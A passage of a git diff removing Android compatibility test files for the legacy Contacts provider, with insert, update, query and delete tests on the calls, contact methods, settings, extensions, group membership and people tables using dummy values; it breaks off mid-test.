-                    Organizations.PERSON_ID + " = " + peopleId, null, null, null);
-            assertEquals(0, cursor.getCount());
-
-            mProvider.delete(peopleUri, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's calls table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testCallsTable() {
-        final String[] CALLS_PROJECTION = new String[] {
-                Calls._ID, Calls.NUMBER, Calls.DATE, Calls.DURATION, Calls.TYPE,
-                Calls.NEW, Calls.CACHED_NAME, Calls.CACHED_NUMBER_TYPE,
-                Calls.CACHED_NUMBER_LABEL, Calls.CACHED_FORMATTED_NUMBER,
-                Calls.CACHED_MATCHED_NUMBER, Calls.CACHED_NORMALIZED_NUMBER,
-                Calls.CACHED_LOOKUP_URI, Calls.CACHED_PHOTO_ID, Calls.COUNTRY_ISO,
-                Calls.GEOCODED_LOCATION, Calls.CACHED_PHOTO_URI, Calls.LAST_MODIFIED};
-        final int ID_INDEX = 0;
-        final int NUMBER_INDEX = 1;
-        final int DATE_INDEX = 2;
-        final int DURATION_INDEX = 3;
-        final int TYPE_INDEX = 4;
-        final int NEW_INDEX = 5;
-        final int CACHED_NAME_INDEX = 6;
-        final int CACHED_NUMBER_TYPE_INDEX = 7;
-        final int CACHED_NUMBER_LABEL_INDEX = 8;
-        final int CACHED_FORMATTED_NUMBER_INDEX = 9;
-        final int CACHED_MATCHED_NUMBER_INDEX = 10;
-        final int CACHED_NORMALIZED_NUMBER_INDEX = 11;
-        final int CACHED_LOOKUP_URI_INDEX = 12;
-        final int CACHED_PHOTO_ID_INDEX = 13;
-        final int COUNTRY_ISO_INDEX = 14;
-        final int GEOCODED_LOCATION_INDEX = 15;
-        final int CACHED_PHOTO_URI_INDEX = 16;
-        final int LAST_MODIFIED_INDEX = 17;
-
-        String insertCallsNumber = "0123456789";
-        int insertCallsDuration = 120;
-        String insertCallsName = "cached_name_insert";
-        String insertCallsNumberLabel = "cached_label_insert";
-
-        String updateCallsNumber = "987654321";
-        int updateCallsDuration = 310;
-        String updateCallsName = "cached_name_update";
-        String updateCallsNumberLabel = "cached_label_update";
-        String updateCachedFormattedNumber = "987-654-4321";
-        String updateCachedMatchedNumber = "987-654-4321";
-        String updateCachedNormalizedNumber = "+1987654321";
-        String updateCachedLookupUri = "cached_lookup_uri_update";
-        long updateCachedPhotoId = 100;
-        String updateCachedPhotoUri = "content://com.android.contacts/display_photo/1";
-        String updateCountryIso = "hk";
-        String updateGeocodedLocation = "Hong Kong";
-
-        try {
-            // Test: insert
-            int insertDate = (int) new Date().getTime();
-            ContentValues value = new ContentValues();
-            value.put(Calls.NUMBER, insertCallsNumber);
-            value.put(Calls.DATE, insertDate);
-            value.put(Calls.DURATION, insertCallsDuration);
-            value.put(Calls.TYPE, Calls.INCOMING_TYPE);
-            value.put(Calls.NEW, 0);
-            value.put(Calls.CACHED_NAME, insertCallsName);
-            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_HOME);
-            value.put(Calls.CACHED_NUMBER_LABEL, insertCallsNumberLabel);
-
-            Uri uri = mCallLogProvider.insert(Calls.CONTENT_URI, value);
-            Cursor cursor = mCallLogProvider.query(
-                    Calls.CONTENT_URI, CALLS_PROJECTION,
-                    Calls.NUMBER + " = ?",
-                    new String[] {insertCallsNumber}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(insertDate, cursor.getInt(DATE_INDEX));
-            assertEquals(insertCallsDuration, cursor.getInt(DURATION_INDEX));
-            assertEquals(Calls.INCOMING_TYPE, cursor.getInt(TYPE_INDEX));
-            assertEquals(0, cursor.getInt(NEW_INDEX));
-            assertEquals(insertCallsName, cursor.getString(CACHED_NAME_INDEX));
-            assertEquals(Phones.TYPE_HOME, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
-            assertEquals(insertCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
-            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update. Also add new cached fields to simulate extra cached fields being
-            // inserted into the call log after the initial lookup.
-            int now = (int) new Date().getTime();
-            value.clear();
-            value.put(Calls.NUMBER, updateCallsNumber);
-            value.put(Calls.DATE, now);
-            value.put(Calls.DURATION, updateCallsDuration);
-            value.put(Calls.TYPE, Calls.MISSED_TYPE);
-            value.put(Calls.NEW, 1);
-            value.put(Calls.CACHED_NAME, updateCallsName);
-            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_CUSTOM);
-            value.put(Calls.CACHED_NUMBER_LABEL, updateCallsNumberLabel);
-            value.put(Calls.CACHED_FORMATTED_NUMBER, updateCachedFormattedNumber);
-            value.put(Calls.CACHED_MATCHED_NUMBER, updateCachedMatchedNumber);
-            value.put(Calls.CACHED_NORMALIZED_NUMBER, updateCachedNormalizedNumber);
-            value.put(Calls.CACHED_PHOTO_ID, updateCachedPhotoId);
-            value.put(Calls.CACHED_PHOTO_URI, updateCachedPhotoUri);
-            value.put(Calls.COUNTRY_ISO, updateCountryIso);
-            value.put(Calls.GEOCODED_LOCATION, updateGeocodedLocation);
-            value.put(Calls.CACHED_LOOKUP_URI, updateCachedLookupUri);
-
-            mCallLogProvider.update(uri, value, null, null);
-            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
-                    Calls._ID + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
-            assertEquals(now, cursor.getInt(DATE_INDEX));
-            assertEquals(updateCallsDuration, cursor.getInt(DURATION_INDEX));
-            assertEquals(Calls.MISSED_TYPE, cursor.getInt(TYPE_INDEX));
-            assertEquals(1, cursor.getInt(NEW_INDEX));
-            assertEquals(updateCallsName, cursor.getString(CACHED_NAME_INDEX));
-            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
-            assertEquals(updateCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
-            assertEquals(updateCachedFormattedNumber,
-                    cursor.getString(CACHED_FORMATTED_NUMBER_INDEX));
-            assertEquals(updateCachedMatchedNumber, cursor.getString(CACHED_MATCHED_NUMBER_INDEX));
-            assertEquals(updateCachedNormalizedNumber,
-                    cursor.getString(CACHED_NORMALIZED_NUMBER_INDEX));
-            assertEquals(updateCachedPhotoId, cursor.getLong(CACHED_PHOTO_ID_INDEX));
-            assertEquals(updateCachedPhotoUri, cursor.getString(CACHED_PHOTO_URI_INDEX));
-            assertEquals(updateCountryIso, cursor.getString(COUNTRY_ISO_INDEX));
-            assertEquals(updateGeocodedLocation, cursor.getString(GEOCODED_LOCATION_INDEX));
-            assertEquals(updateCachedLookupUri, cursor.getString(CACHED_LOOKUP_URI_INDEX));
-            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
-            cursor.close();
-
-            // Test: delete
-            mCallLogProvider.delete(Calls.CONTENT_URI, Calls._ID + " = " + id, null);
-            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
-                    Calls._ID + " = " + id, null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's contact_methods table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testContactMethodsTable() {
-        final String[] CONTACT_METHODS_PROJECTION = new String[] {
-                ContactMethods._ID, ContactMethods.PERSON_ID, ContactMethods.KIND,
-                ContactMethods.DATA, ContactMethods.AUX_DATA, ContactMethods.TYPE,
-                ContactMethods.LABEL, ContactMethods.ISPRIMARY};
-        final int ID_INDEX = 0;
-        final int PERSON_ID_INDEX = 1;
-        final int KIND_INDEX = 2;
-        final int DATA_INDEX = 3;
-        final int AUX_DATA_INDEX = 4;
-        final int TYPE_INDEX = 5;
-        final int LABEL_INDEX = 6;
-        final int ISPRIMARY_INDEX = 7;
-
-        int insertKind = Contacts.KIND_EMAIL;
-        String insertData = "sample@gmail.com";
-        String insertAuxData = "auxiliary_data_insert";
-        String updateData = "elpmas@liamg.com";
-        String updateAuxData = "auxiliary_data_update";
-        String customLabel = "custom_label";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_contact_methods_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(ContactMethods.PERSON_ID, peopleId);
-            value.put(ContactMethods.KIND, insertKind);
-            value.put(ContactMethods.DATA, insertData);
-            value.put(ContactMethods.AUX_DATA, insertAuxData);
-            value.put(ContactMethods.TYPE, ContactMethods.TYPE_WORK);
-            value.put(ContactMethods.ISPRIMARY, 1);
-
-            Uri uri = mProvider.insert(ContactMethods.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    ContactMethods.CONTENT_URI, CONTACT_METHODS_PROJECTION,
-                    ContactMethods.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(insertKind, cursor.getInt(KIND_INDEX));
-            assertEquals(insertData, cursor.getString(DATA_INDEX));
-            assertEquals(insertAuxData, cursor.getString(AUX_DATA_INDEX));
-            assertEquals(ContactMethods.TYPE_WORK, cursor.getInt(TYPE_INDEX));
-            assertNull(cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(ContactMethods.DATA, updateData);
-            value.put(ContactMethods.AUX_DATA, updateAuxData);
-            value.put(ContactMethods.TYPE, ContactMethods.TYPE_CUSTOM);
-            value.put(ContactMethods.LABEL, customLabel);
-            value.put(ContactMethods.ISPRIMARY, 1);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(ContactMethods.CONTENT_URI,
-                    CONTACT_METHODS_PROJECTION,
-                    "contact_methods._id" + " = " + id, null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            assertEquals(updateData, cursor.getString(DATA_INDEX));
-            assertEquals(updateAuxData, cursor.getString(AUX_DATA_INDEX));
-            assertEquals(ContactMethods.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
-            assertEquals(customLabel, cursor.getString(LABEL_INDEX));
-            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(ContactMethods.CONTENT_URI,
-                    CONTACT_METHODS_PROJECTION,
-                    "contact_methods._id" + " = " + id, null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-
-            mProvider.delete(peopleUri, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's settings table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testSettingsTable() {
-        final String[] SETTINGS_PROJECTION = new String[] {
-                Settings._ID, Settings._SYNC_ACCOUNT, Settings._SYNC_ACCOUNT_TYPE,
-                Settings.KEY, Settings.VALUE};
-        final int ID_INDEX = 0;
-        final int SYNC_ACCOUNT_NAME_INDEX = 1;
-        final int SYNC_ACCOUNT_TYPE_INDEX = 2;
-        final int KEY_INDEX = 3;
-        final int VALUE_INDEX = 4;
-
-        String insertKey = "key_insert";
-        String insertValue = "value_insert";
-        String updateKey = "key_update";
-        String updateValue = "value_update";
-
-        try {
-            // Test: insert
-            ContentValues value = new ContentValues();
-            value.put(Settings.KEY, insertKey);
-            value.put(Settings.VALUE, insertValue);
-
-            try {
-                mProvider.insert(Settings.CONTENT_URI, value);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support direct insert operation to setting URI.
-            }
-
-            // use the methods in Settings class to insert a row.
-            Settings.setSetting(mContentResolver, null, insertKey, insertValue);
-
-            Cursor cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {insertKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(insertKey, cursor.getString(KEY_INDEX));
-            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
-            int id = cursor.getInt(ID_INDEX);
-            cursor.close();
-
-            // Test: update
-            // if we update with a not-existed key, it equals insert operation.
-            value.clear();
-            value.put(Settings.KEY, updateKey);
-            value.put(Settings.VALUE, updateValue);
-
-            mProvider.update(Settings.CONTENT_URI, value, null, null);
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {updateKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(updateKey, cursor.getString(KEY_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {insertKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(insertKey, cursor.getString(KEY_INDEX));
-            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-
-            // Test: update
-            // if we update with a not-existed key, then it is really update operation.
-            value.clear();
-            value.put(Settings.KEY, insertKey);
-            value.put(Settings.VALUE, updateValue);
-
-            mProvider.update(Settings.CONTENT_URI, value, null, null);
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {insertKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(insertKey, cursor.getString(KEY_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-            cursor = mProvider.query(
-                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
-                    Settings.KEY + " = ?",
-                    new String[] {updateKey}, null, null);
-            assertTrue(cursor.moveToNext());
-            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
-            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
-            assertEquals(updateKey, cursor.getString(KEY_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            cursor.close();
-
-            // Test: delete
-            try {
-                mProvider.delete(Settings.CONTENT_URI, Settings._ID + " = " + id, null);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support delete operation to setting URI.
-            }
-
-            // NOTE: because the delete operation is not supported,
-            // there will be some garbage rows in settings table.
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's extensions table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testExtensionsTable() {
-        final String[] EXTENSIONS_PROJECTION = new String[] {
-                Extensions._ID, Extensions.NAME,
-                Extensions.VALUE, Extensions.PERSON_ID};
-        final int NAME_INDEX = 1;
-        final int VALUE_INDEX = 2;
-        final int PERSON_ID_INDEX = 3;
-
-        String insertName = "name_insert";
-        String insertValue = "value_insert";
-        String updateName = "name_update";
-        String updateValue = "value_update";
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_extensions_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(Extensions.NAME, insertName);
-            value.put(Extensions.VALUE, insertValue);
-            value.put(Extensions.PERSON_ID, peopleId);
-
-            Uri uri = mProvider.insert(Extensions.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    Extensions.CONTENT_URI, EXTENSIONS_PROJECTION,
-                    Extensions.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(insertName, cursor.getString(NAME_INDEX));
-            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(Extensions.NAME, updateName);
-            value.put(Settings.VALUE, updateValue);
-
-            mProvider.update(uri, value, null, null);
-            cursor = mProvider.query(Extensions.CONTENT_URI,
-                    EXTENSIONS_PROJECTION,
-                    Extensions.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertTrue(cursor.moveToNext());
-            assertEquals(updateName, cursor.getString(NAME_INDEX));
-            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
-            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-            cursor.close();
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(Extensions.CONTENT_URI,
-                    EXTENSIONS_PROJECTION,
-                    Extensions.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    /**
-     * Test case for the behavior of the ContactsProvider's groupmembership table
-     * It does not test any APIs in android.provider.Contacts.java
-     */
-    public void testGroupMembershipTable() {
-        final String[] GROUP_MEMBERSHIP_PROJECTION = new String[] {
-                GroupMembership._ID, GroupMembership.PERSON_ID,
-                GroupMembership.GROUP_ID, GroupMembership.GROUP_SYNC_ACCOUNT,
-                GroupMembership.GROUP_SYNC_ID};
-        final int ID_INDEX = 0;
-        final int PERSON_ID_INDEX = 1;
-        final int GROUP_ID_INDEX = 2;
-        final int GROUP_SYNC_ACCOUNT_INDEX = 3;
-        final int GROUP_SYNC_ID_INDEX = 4;
-
-        try {
-            ContentValues value = new ContentValues();
-            value.put(PeopleColumns.NAME, "name_group_membership_test_stub");
-            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
-            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
-            value.clear();
-            value.put(GroupsColumns.NAME, "name_group_membership_test_stub1");
-            Uri groupUri1 = mProvider.insert(Groups.CONTENT_URI, value);
-            int groupId1 = Integer.parseInt(groupUri1.getPathSegments().get(1));
-            value.clear();
-            value.put(GroupsColumns.NAME, "name_group_membership_test_stub2");
-            Uri groupUri2 = mProvider.insert(Groups.CONTENT_URI, value);
-            int groupId2 = Integer.parseInt(groupUri2.getPathSegments().get(1));
-
-            // Test: insert
-            value.clear();
-            value.put(GroupMembership.PERSON_ID, peopleId);
-            value.put(GroupMembership.GROUP_ID, groupId1);
-
-            Uri uri = mProvider.insert(GroupMembership.CONTENT_URI, value);
-            Cursor cursor = mProvider.query(
-                    GroupMembership.CONTENT_URI, GROUP_MEMBERSHIP_PROJECTION,
-                    GroupMembership.PERSON_ID + " = " + peopleId,
-                    null, null, null);
-
-            // Check that the person has been associated with the group. The person may be in
-            // additional groups by being added automatically.
-            int id = -1;
-            while(true) {
-                assertTrue(cursor.moveToNext());
-                assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
-                int cursorGroupId = cursor.getInt(GROUP_ID_INDEX);
-                if (groupId1 == cursorGroupId) {
-                    id = cursor.getInt(ID_INDEX);
-                    break;
-                }
-            }
-            assertTrue(id != -1);
-            cursor.close();
-
-            // Test: update
-            value.clear();
-            value.put(GroupMembership.GROUP_ID, groupId2);
-
-            try {
-                mProvider.update(uri, value, null, null);
-                fail("Should throw out UnsupportedOperationException.");
-            } catch (UnsupportedOperationException e) {
-                // Don't support direct update operation to groupmembership URI.
-            }
-
-            // Test: delete
-            mProvider.delete(uri, null, null);
-            cursor = mProvider.query(GroupMembership.CONTENT_URI,
-                    GROUP_MEMBERSHIP_PROJECTION,
-                    "groupmembership._id" + " = " + id,
-                    null, null, null);
-            assertEquals(0, cursor.getCount());
-            cursor.close();
-
-            mProvider.delete(peopleUri, null, null);
-            mProvider.delete(groupUri1, null, null);
-            mProvider.delete(groupUri2, null, null);
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    private long getElapsedDurationMillis(long timeStampMillis){
-        return (System.currentTimeMillis() - timeStampMillis);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
deleted file mode 100644
index 0737478..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
+++ /dev/null
@@ -1,284 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.Contacts;
-import android.provider.Contacts.GroupMembership;
-import android.provider.Contacts.Groups;
-import android.provider.Contacts.GroupsColumns;
-import android.provider.Contacts.People;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.ArrayList;
-import java.util.List;
-
-public class Contacts_PeopleTest extends InstrumentationTestCase {
-    private ContentResolver mContentResolver;
-    private ContentProviderClient mProvider;
-
-    private ArrayList<Uri> mPeopleRowsAdded;
-    private ArrayList<Uri> mGroupRowsAdded;
-    private ArrayList<Uri> mRowsAdded;
-
-    private static final String[] PEOPLE_PROJECTION = new String[] {
-            People._ID,
-            People.LAST_TIME_CONTACTED,
-            People.TIMES_CONTACTED
-        };
-    private static final int PEOPLE_ID_INDEX = 0;
-    private static final int PEOPLE_LAST_CONTACTED_INDEX = 1;
-    private static final int PEOPLE_TIMES_CONTACTED_INDEX = 1;
-
-    private static final String[] GROUPS_PROJECTION = new String[] {
-        Groups._ID,
-        Groups.NAME
-    };
-    private static final int GROUPS_ID_INDEX = 0;
-    private static final int GROUPS_NAME_INDEX = 1;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
-        mProvider = mContentResolver.acquireContentProviderClient(Contacts.AUTHORITY);
-
-        mPeopleRowsAdded = new ArrayList<Uri>();
-        mGroupRowsAdded = new ArrayList<Uri>();
-        mRowsAdded = new ArrayList<Uri>();
-
-        // insert some lines in people table and groups table to be used in test case.
-        for (int i=0; i<3; i++) {
-            ContentValues value = new ContentValues();
-            value.put(People.NAME, "test_people_" + i);
-            value.put(People.TIMES_CONTACTED, 0);
-            value.put(People.LAST_TIME_CONTACTED, 0);
-            mPeopleRowsAdded.add(mProvider.insert(People.CONTENT_URI, value));
-        }
-
-        ContentValues value = new ContentValues();
-        value.put(Groups.NAME, "test_group_0");
-        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
-        value.put(Groups.NAME, "test_group_1");
-        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // remove the lines we inserted in setup and added in test cases.
-        for (Uri row : mRowsAdded) {
-            mProvider.delete(row, null, null);
-        }
-        mRowsAdded.clear();
-
-        for (Uri row : mPeopleRowsAdded) {
-            mProvider.delete(row, null, null);
-        }
-        mPeopleRowsAdded.clear();
-
-        for (Uri row : mGroupRowsAdded) {
-            mProvider.delete(row, null, null);
-        }
-        mGroupRowsAdded.clear();
-
-        super.tearDown();
-    }
-
-    public void testAddToGroup() {
-        Cursor cursor;
-        try {
-            // Add the My Contacts group, since it is no longer automatically created.
-            ContentValues testValues = new ContentValues();
-            testValues.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
-            mProvider.insert(Groups.CONTENT_URI, testValues);
-
-            // People: test_people_0, Group: Groups.GROUP_MY_CONTACTS
-            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            cursor.moveToFirst();
-            int personId = cursor.getInt(PEOPLE_ID_INDEX);
-            cursor.close();
-            mRowsAdded.add(People.addToMyContactsGroup(mContentResolver, personId));
-            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
-            assertTrue(cursor.moveToFirst());
-            int groupId = cursor.getInt(GROUPS_ID_INDEX);
-            cursor.close();
-            cursor = People.queryGroups(mContentResolver, personId);
-
-            int membershipGroupIdIndex =
-                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.GROUP_ID);
-            int membershipPersonIdIndex =
-                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.PERSON_ID);
-
-            assertTrue(cursor.moveToFirst());
-            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
-            cursor.close();
-
-            // People: test_people_create, Group: Groups.GROUP_MY_CONTACTS
-            ContentValues values = new ContentValues();
-            values.put(People.NAME, "test_people_create");
-            values.put(People.TIMES_CONTACTED, 0);
-            values.put(People.LAST_TIME_CONTACTED, 0);
-            mRowsAdded.add(People.createPersonInMyContactsGroup(mContentResolver, values));
-            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
-                    People.NAME + " = 'test_people_create'", null, null, null);
-
-            assertTrue(cursor.moveToFirst());
-            personId = cursor.getInt(PEOPLE_ID_INDEX);
-            mRowsAdded.add(ContentUris.withAppendedId(People.CONTENT_URI, personId));
-            cursor.close();
-            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
-            assertTrue(cursor.moveToFirst());
-            groupId = cursor.getInt(GROUPS_ID_INDEX);
-            cursor.close();
-            cursor = People.queryGroups(mContentResolver, personId);
-            assertTrue(cursor.moveToFirst());
-            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
-            cursor.close();
-
-            // People: test_people_1, Group: test_group_0
-            cursor = mProvider.query(mPeopleRowsAdded.get(1), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            assertTrue(cursor.moveToFirst());
-            personId = cursor.getInt(PEOPLE_ID_INDEX);
-            cursor.close();
-            cursor = mProvider.query(mGroupRowsAdded.get(0), GROUPS_PROJECTION,
-                    null, null, null, null);
-            assertTrue(cursor.moveToFirst());
-            groupId = cursor.getInt(GROUPS_ID_INDEX);
-            cursor.close();
-            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupId));
-            cursor = People.queryGroups(mContentResolver, personId);
-            boolean found = false;
-            while (cursor.moveToNext()) {
-                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-                if (cursor.getInt(membershipGroupIdIndex) == groupId) {
-                    found = true;
-                    break;
-                }
-            }
-            assertTrue(found);
-
-            cursor.close();
-
-            // People: test_people_2, Group: test_group_1
-            cursor = mProvider.query(mPeopleRowsAdded.get(2), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            assertTrue(cursor.moveToFirst());
-            personId = cursor.getInt(PEOPLE_ID_INDEX);
-            cursor.close();
-            String groupName = "test_group_1";
-            mRowsAdded.add(People.addToGroup(mContentResolver, personId, groupName));
-            cursor = People.queryGroups(mContentResolver, personId);
-            List<Integer> groupIds = new ArrayList<Integer>();
-            while (cursor.moveToNext()) {
-                assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
-                groupIds.add(cursor.getInt(membershipGroupIdIndex));
-            }
-            cursor.close();
-
-            found = false;
-            for (int id : groupIds) {
-                cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
-                        Groups._ID + "=" + id, null, null, null);
-                cursor.moveToFirst();
-                if (groupName.equals(cursor.getString(GROUPS_NAME_INDEX))) {
-                    found = true;
-                    break;
-                }
-            }
-            assertTrue(found);
-            cursor.close();
-        } catch (RemoteException e) {
-            fail("Unexpected RemoteException");
-        }
-    }
-
-    public void testMarkAsContacted() {
-        Cursor cursor;
-        try {
-            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
-                    null, null, null, null);
-            cursor.moveToFirst();
-            int personId = cursor.getInt(PEOPLE_ID_INDEX);
